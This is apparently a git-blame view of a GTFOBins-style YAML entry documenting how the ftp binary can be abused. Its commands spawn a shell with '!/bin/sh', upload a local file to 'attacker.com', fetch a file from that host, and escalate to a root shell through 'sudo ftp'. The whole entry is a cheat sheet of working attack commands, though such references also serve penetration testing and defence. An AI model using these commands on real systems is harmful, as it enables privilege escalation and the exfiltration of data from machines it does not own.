2018-05-21 21:14:41 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-10-05 19:55:38 +02:00
|
|
|
shell:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
ftp
|
|
|
|
!/bin/sh
|
2018-10-05 19:55:38 +02:00
|
|
|
file-upload:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Send local file to a FTP server.
|
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
ftp $RHOST
|
|
|
|
put file_to_send
|
2018-10-05 19:55:38 +02:00
|
|
|
file-download:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: Fetch a remote file from a FTP server.
|
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
ftp $RHOST
|
|
|
|
get file_to_get
|
2018-10-05 19:55:38 +02:00
|
|
|
sudo:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
sudo ftp
|
|
|
|
!/bin/sh
|
2018-05-25 01:10:39 +02:00
|
|
|
---
|